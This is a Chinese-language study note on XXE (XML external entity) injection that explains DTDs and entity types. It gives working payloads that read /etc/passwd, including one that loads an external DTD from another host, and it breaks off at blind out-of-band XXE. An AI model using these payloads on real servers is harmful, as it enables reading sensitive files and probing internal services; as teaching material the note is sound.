zoukankan      html  css  js  c++  java
  • 2019-11-19:xxe漏洞利用,笔记

    xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则
    xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
    xml文档结构:xml声明,DTD文档类型定义,文档元素

    html用来显示数据
    xml用来传输数据
    <!DOCTYPE 变量名 [ 定义的元素 ] >
    <!ELEMENT 变量名 (定义元素的名称)>

    <?xml version='1.0' encoding='utf-8'?> xml声明
    <!DOCTYPE copyright [ DTD 文档类型定义
    <!ELEMENT note (to,reset,login)> 定义元素 note为父元素
    <!ENTITY test SYSTEM 'url'> 定义外部实体test
    ]>
    <to>
    <reset> 下面为文档元素
    <login>&test;</login> 调用test实体
    <secret>login</secret>
    </reset>
    <to>

    在一个甚至多个xml文档中频繁使用某一条数据,我们可以预先定义一条数据的别名,就是一个ENTITY,然后在这些文档中需要该数据的地方调用它,根据实体的来源我们可以分为内部实体和外部实体,xml定义了两种类型ENTITY,一种在xml文档中使用,另一种作为参数在DTD文件中使用,定义好的ENTITY在文档中通过“&实体名;”来使用

    DTD,Documnet Type Definition就是文档类型定义,是一种xml约束模式语言,属于xml文件组成的一部分
    DTD有三种应用形式:
    1,内部DTD文档
    <!DOCTYPE 根元素【定义内容】>
    2,外部DTD文档
    <!DOCTYPE 根元素 SYSTEM “DTD文件路径”>
    3,内外部DTD文档结合
    <!DOCTYPE 根元素 SYSTEM “DTD文件路径” 【定义内容】>

    XXE--->通过调用DTD文档中外部实体来触发漏洞

    xml外部实体注入
    xml实体分为普通实体和参数实体
    实体类型:普通实体,外部实体,参数实体,外部参数实体
    普通实体:用在xml文档中,声明方式:<!ENTITY 实体名 “实体内容”>,外部实体<!ENTITY 实体名 SYSTEM “外部文件URL地址”> ,引用方式&实体名;
    参数实体:只用在DTD中元素和属性的声明中,声明方式,<!ENTITY %实体名 “文件内容”>,<!ENTITY %实体名 SYSTEM “外部文件URL地址”,引用方式 %实体名;

    外部普通实体,读取目标服务中文件
    通过file协议,引入外部普通实体,读取目标服务中文件实例
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc//passwd">
    ]>
    <test>&xxe;</test>

    引入外部参数实体outdtd.dtd文件
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE reset [
    <!ENTITY % a SYSTEM "http://192.168.1.3/out.dtd">
    %a;]>
    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

    outdtd.dtd
    <!ENTITY xxe SYSTEM "file:///etc/passwd">

    xml支持的协议
    php:file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar
    .net:file,http,https,ftp

    危害
    使用file读取敏感文件,比如配置文件,etc/passwd等
    内网服务探测,http://127.0.0.1:80 22 3306等,根据返回页面提示不同,确定内网服务
    DOS攻击,递归调用,占用大量服务器资源

    无回显(盲型xxe)
    使用数据带外技术(OOB),比如

  • 相关阅读:
    Nginx的安装与部署
    什么是Nginx?为什么使用Nginx?
    spark 中的RDD编程 -以下基于Java api
    java反射
    POST-GET请求
    Spring Boot 专栏
    【Shiro】Apache Shiro架构之身份认证(Authentication)
    maven项目如何启动运行---发布到tomcat中
    一位资深程序员大牛给予Java初学者的学习路线建议
    SSM框架——详细整合教程(Spring+SpringMVC+MyBatis)
  • 原文地址:https://www.cnblogs.com/sym945/p/11891616.html
Copyright © 2011-2022 走看看